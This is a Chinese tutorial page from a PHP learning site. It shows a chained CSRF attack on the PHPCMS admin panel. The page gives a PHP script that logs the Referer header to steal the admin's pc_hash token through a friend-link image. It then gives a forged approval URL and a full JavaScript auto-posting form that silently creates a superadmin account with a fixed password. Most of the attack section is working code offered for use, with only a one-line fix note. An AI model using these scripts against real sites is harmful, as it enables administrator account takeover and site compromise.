网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

PHPCMS组合技进行CSRF攻击 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 众所周知phpcms登录后台后,有一个pc_hash作为防范CSRF的TOKEN,且看我怎么利用一个组合技来进行CSRF攻击的。phpcms安装好后默认允许申请友情链接。而且友情链接分两种:文字链接和图片链...

众所周知phpcms登录后台后,有一个pc_hash作为防范CSRF的TOKEN,且看我怎么利用一个组合技来进行CSRF攻击的。
 
phpcms安装好后默认允许申请友情链接。而且友情链接分两种:文字链接和图片链接。
 
其中图片链接,管理员在审核的时候,图片会直接显示后台。而后台url中是包含这个pc_hash的,我们就能在图片的referer里找到这个pc_hash~~岂不妙哉?
 
利用方法如下:
 
首先我在本地简单写了一个获得referer的脚本:
 
<?php

$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

file_put_contents('referer.txt', $referer);

?>

 

 
然后把这个脚本作为图片地址,申请友链:
 
 
 
管理员在后台访问“友情链接”功能的时候,我已经窃取了其pc_hash:
 
实战中,我们还可以把这个做的像一点。比如用php输出一张真正的logo,这样不但获得了pc_hash,而且还像一个真的申请友链的请求。
 
这时我本地已经获得了referer了:
 
那么,获得了pc_hash可以干什么?当然是CSRF了,举个简单的例子。
 
我可以构造如下链接:
 
http://localhost/phpcms/index.php?m=link&c=link&a=check&linkid=4&pc_hash=lrP5dK
 
 
作为图片欺骗管理员浏览,就能把id=4的友情链接审核通过。也就是我刚才申请的那个友链。
 
 
 
再来一个厉害的。
 
gum = function(){

    var u = {

        'version':'1140213',

        'domain':'{{domain}}',

        'backinfo':{},

        'author': 'https://github.com/quininer/gum'

    };



    u.e = function(code){try{return eval(code)}catch(e){return ''}};



    u.name = function(names){

        return document.getElementsByTagName(names);

    };



    u.html = function(){

            return u.name('html')[0]

                    ||document.write('<html>')

                    ||u.name('html')[0];

    };



    u.addom = function(html, doming, hide){

        (!doming)&&(doming = u.html());

        var temp = document.createElement('span');

        temp.innerHTML = html;

        var doms = temp.children[0];

        (hide)&&(doms.style.display = 'none');

        doming.appendChild(doms);

        return doms;

    };



    u.post = function(url, data){

        var form = u.addom("<form method='POST'>", u.html(), true);

        form.action = url;

        for(var name in data){

            var input = document.createElement('input');

            input.name = name;

            input.value = data[name];

            form.appendChild(input);

        };

        form.submit();

    };



    return u;

}();



gum.post('http://target/index.php?m=admin&c=admin_manage&a=add', {

    'info[username]': 'test',

    'info[password]': '123123',

    'info[pwdconfirm]': '123123', 

    'info[email]': '123@qq.com', 

    'info[realname]': '',

    'info[roleid]': '1', 

    'dosubmit': '提交', 

    'pc_hash': 'lrP5dK'

});

 

 
把pc_hash修改为你获得的pc_hash,然后将以上代码放在任何html页面中(不限域名),诱使管理员访问,即可为目标站点增加一个用户名为test,密码为123123的超级管理员账户:
 
修复方案:
没啥好建议。别把pc_hash放在url中
官方已经补丁

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论